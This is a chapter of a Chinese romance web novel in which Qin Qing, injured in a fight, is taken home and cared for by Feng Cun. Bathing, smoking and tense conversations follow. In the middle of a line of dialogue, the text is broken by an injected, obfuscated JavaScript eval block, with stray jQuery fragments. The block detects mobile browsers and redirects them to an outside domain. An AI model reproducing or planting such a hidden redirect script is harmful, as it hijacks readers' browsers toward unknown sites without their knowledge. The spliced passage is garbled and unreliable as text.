23.第 23 章

作品:《被好友的弟弟缠上了

    封存看了他两秒:“喝吧。”


    秦情拿着水,已经不渴了,那阵干渴被别的什么东西,以压倒性的优势盖了下去。他仰头喝了半口,意思意思。


    “还喝吗?”封存问。


    秦情摇头。


    有点眼冒金星。


    封存把瓶盖重新拧好,放回到床头的柜子上,还没转身就问:“怎么回事?”语气是平稳的,平得几乎有点冷淡。


    秦情拖着沉重的思绪想了想:“你怎么来了?”


    “你朋友怕你出事,给我打了电话。”封存说。


    “他人呢?”秦情问。


    封存缓慢挑起了眉毛:“你要找他对口供?那我把他叫回来,给你俩留点空间,对完我再问?”


    秦情喉咙一哽,不吭声了。


    “问你话呢,怎么回事?”封存看着秦情的额头,平淡的声音里夹杂了一丝压抑的愠怒。


    秦情抬起被纱布包裹的右手,用小臂蹭了下鼻尖:“摔的。”


    “什么姿势能摔成这样?脑袋缝了十二针,手掌缝了十四针,眼角破了,一身淤青。”他嗤笑了一声,“拿我当傻子糊弄。”


    “摔了一跤,撞到人,又稀里糊涂打了一架。”秦情说。


    “......你觉得这话有半点可信度吗?”


    “既然不相信,那你问我做什么!”秦情忽然提高声音。


    封存双手抱臂靠在椅子上:“生气了?”


    “我没资格生气是吗?”


    封存没说话。


    秦情直愣愣地望着他,眼眶又酸又胀,就这么望了一会儿,憋在心口的那股气一直在膨胀,嗓子眼儿都快被堵死了。


    “回家吧。”封存沉默许久后开口,“在这儿也睡不好。”


    秦情慢半拍点了头,然后就开始脱病号服。他坐在床边,用左手解扣子,半天解不开一颗,他皱着眉头,用力一扯,两颗纽扣掉了,滚落在暗处,没有发出一点声音。


    封存回头,看了他一眼,走过去,半蹲在地,替他将纽扣一颗颗解开。秦情垂眸就能看到封存的头顶,还能闻到洗发水的味道,洗发水和消毒水的味道混合在一起,几乎有种醉人的效果,堪比酒精。


    封存站起来后,秦情愣着坐了会儿,几乎把小楼发生的事情全部抛在脑后了,他脑子里只有前天晚上的亲吻。


    封存丢了一件T恤过来:“自己能穿吗?”


    秦情没回答,一只手伸到了衣服里。


    封存叹气,又走过来:“胳膊进去了,脑袋怎么进?”


    “......”


    封存把秦情穿一半的衣服脱了下来,先套在他脖子上,动作很小心,怕碰到他的额头和眼尾。


    “先伸右手。”


    “......”


    “左手。”


    “裤子我忘拿了,就穿这个吧。”


    封存左右看看,又把他的运动鞋踢到床边,秦情站起来,把两只脚硬生生怼了进去。


    “走吧。”秦情说。


    “还有哪里不舒——”


    “没有。”秦情面无表情把他打断了。


    封存顿了下,头也不回地朝前走。秦情跟在他后面,拖着脚步,走得慢吞吞。


    两人的身影在医院长廊里,一前一后,被冷白色的灯光隔开,仿佛永远都连不到一起。


    -


    回家后,秦情去院子里坐着发呆。他坐在石头上,屁股硌得有点痛,可能是之前跟光头打架时摔着了,又站起来,坐回椅子上。


    夏天院子里的花几乎都谢了,从左看到右,只有大片葱郁的绿色。还是天上热闹些,天上有星星,有月亮,有飘过的云,偶尔还有掠过的鸟。


    不知道秦昼有没有在天上。


    不知道爸爸和妈妈有没有在天上。


    爸爸和妈妈应该不在吧,把小孩生下来就丢掉的人,如果活着,一定会活得很自私,自私的人一般都过好日子,过好日子的人不出意外是不会主动死的,如果出了意外,那应该也没有资格去天上吧。


    秦情闻到了一股烟味,回头,封存走过来,把烟和打火机丢在石桌上,在他旁边坐了下去。


    秦情坐直身子,用拇指撑开烟盒,从里面拿了根烟,然后咬在嘴里,点燃。


    封存看着他。


    秦情抽着烟,动作娴熟。俩人都一声不吭。


    半晌过去。


    “什么时候学会的?”封存问。


    “在美国的时候。”秦情咳了一声,“秦昼教的。”


    “之前忍得很辛苦吧。”封存说。


    “不辛苦,我没有瘾。”秦情转头注视着封存的眼睛。


    除了对你之外。


    封存往茶杯里抖了烟灰:“我们要谈谈吗。”


    “谈什么?”秦情问,“昨天晚上的事,还是前天晚上的事。”


    “我有义务确保你的健康和安全。”封存说。


    秦情看着花园角落茂密的草:“你答应俞医生了吗?”


    “身体的,心理的。”


    “如果答应了,还可以反悔吗?”


    “我一直以为你很乖,你平时去哪里,我也从来都不过问。”


    “如果不能反悔,那你们再分一次手吧?”


    “彻夜不归,不接电话,第三天从别人那里听到消息,说你受伤进医院了。”


    “再分一次手,可以吗?”


    封存看着秦情指间明灭的火星:“我现在发现,我一点都不了解你。”


    “我以后会接电话的。”秦情说,“那天没电了。”又说,“你别搭理俞舟,你跟我在一起。跟我在一起,把目光全部放到我身上,就会了解我了。”


    秦情说:“就像我了解你一样。”


    封存熄灭烟头:“你了解个屁。”


    “......我去洗澡了。”秦情站起来,低着头说。


    -


    秦情上楼的时候,抓了下头发,在头顶抠到了一块风干的血痂。他走到浴室里,对着镜子,将头发扒拉开,头皮上没有伤口,大概是额头的血溅上去,把头发黏黏腻腻粘在了一起。


    操他爹的死光头、臭瓢虫!


    秦情站在洗手台前脱裤子,封存走进来问:“非得今天洗?”


    秦情看了镜子里的封存一眼,转过身,脑袋朝他跟前一凑:“没闻到腥味儿吗?”


    “去浴缸,我帮你洗。”


    秦情看了眼自己光溜溜的两条腿:“不了吧。”


    “怕人看?”


    “我怕你把我看in了,你尴尬。”


    秦情也不知道自己究竟是怎么的,本性暴露后,突然就破罐子破摔了,说话做事全靠本能,压根儿不往脑子里过。


    封存倒是没反应,淡淡的眼神,淡淡的表情,他永远如鱼得水,清澈的水里如鱼得水,混沌的水里照样如鱼得水。


    他往左前方一抬下巴:“进去。”


    秦情半推半就地躺进了浴缸,封存让他把后脑勺挂在边儿上,自己把淋浴喷头拿下来,用温热的水冲他头顶。


    封存的指甲边缘修得整洁干净,他的手指划过头皮,秦情只能感受到指腹柔软的触感。


    好温柔的一双手。


    封存用来弹贝斯的手,画画的手,纹身的手,握反向盘的手,骑机车的手,切番茄的手,煮面的手,现在在帮他洗头发,在帮他擦拭眼角的泡沫,在托着他的后颈......


    这几乎是他做梦都不敢想象的场景,他做梦都不敢奢求的爱。


    爱?


    封存对他有爱吗?


    好像有,又好像没有。


    那份愧疚太瞩目,压过了其他所有情愫。不仅是秦情看不清楚,或许,连他自己也搞不明白。


    秦情睁开眼睛,望着封存倒置的脸。这张脸倒过来,略有点陌生,但还是一如既往的好看。


    “对不起,哥。”他沙哑着声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586784|169412||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    音说。


    封存眼皮动了下:“眼睛闭上。”


    秦情老实巴交阖上了眼,他说:“我在打工的地方,跟人打起来了。但不是我惹事,是对方先的动手。”


    耳边一片寂静,只有水流的声音。温热的水汽蒸腾起来,秦情感受到了一股潮湿。


    他睁开没有受伤的那只眼睛偷偷看:“你还是不信?”


    封存放下喷头,用干燥的手盖在他眼皮上,停了两秒。


    秦情重新闭上眼。


    封存仔细揉搓着他头发上的血痂:“什么时候开始打工的?暑假吗?”


    “高中之后一直有在打工,”秦情说,“这家是高二的时候去的。”


    封存愣了下:“体验生活?”


    秦情犹豫着回答:“零花钱不嫌多嘛。”


    “是什么地方?酒吧?夜店?”


    “不是。”秦情说,“潘博表姐搞直播,我去打杂的,昨天晚上是个意外,偶然碰到了一个醉鬼。”


    封存把秦情脑袋上的泡沫全部冲干净,用干毛巾帮他擦了头。


    “起来吧。”


    秦情用毛巾抹了抹后颈。


    “打赢了吗?”


    “什么?”


    “问你打架赢了输了?”


    秦情站在原地,动了下嘴角:“算是......扯平吧。”


    “打不赢的架别打,看着要输就直接认怂,以后有机会再找回来。”封存说,“丢脸比受伤好,犯不着硬碰硬。”


    秦情没想到他会说出这样的话:“这是你的行事准则吗?”


    “这是帮你想的生存之道。”封存站起来,说。


    秦情看到他衣服裤子打得半湿:“要不你先洗吧。”


    “我去楼下。”封存指着淋浴喷头说,“小心点,手不要沾水。”


    “嗯。”


    秦情这个澡洗了很久,洗得很费劲,洗完出来,楼下的灯已经关了,封存卧室门缝里透了光亮。他盯着拿道亮光看了会儿,回到了自己屋里。


    秦情坐在床边跟潘博打电话:“你什么时候走的,怎么不说一声。”


    对面传来迷迷糊糊的一声:“啊?”


    “你跟我哥怎么说的?”秦情问。


    潘博砸了砸嘴,像是还在梦里:“能怎么说啊,什么都没说,”他打了个长长的呵欠,“你哥一点儿都不信任我,本来还想帮你编个理由解释一下,人一个字儿都不愿意听。你还在医院吗?”


    “回家了。”秦情说。


    “那就好生歇着吧,我他妈,刚睡着就被你叫醒。”


    “我还没问完。”


    “操!”听潘博那边的声音,仿佛是一个鲤鱼打挺坐起来了,“问问问,还有什么他妈想知道的,赶紧问!”


    秦情想了想:“......没有了。”


    “哎我靠,真他妈服了。”潘博的声音这会儿变得特别精神,“哪天开学啊你?”


    “周一。”


    “那不就明天吗?”


    “嗯。”


    “大学是不是都有宿舍啊?”


    “废话。”


    “挺好。”潘博说,“住宿舍自由,你夜不归宿也不用再绞尽脑汁跟你新哥找借口了。”


    “就这一个哥,没什么新哥旧哥。”秦情说。


    潘博啧了一声:“你这话外人听了,绝对说你忘恩负义。”


    “你不说吗?你是内人?”


    “诶我发现你每进一次医院出来,就好像添了火药一样,那是不是医院啊,军工厂吧?”


    秦情笑了一声。


    “你别跟我冷笑啊,大半夜的,慎得慌。”潘博想了想,“开学要帮你搬行李吗?一个手不好使吧。”


    “不用。”秦情说。


    “行行行,知道,你了不得,你用不上我,你有哥,不新不旧,唯一的哥。”


    “我可没说这话。”


    就是不想搬而已。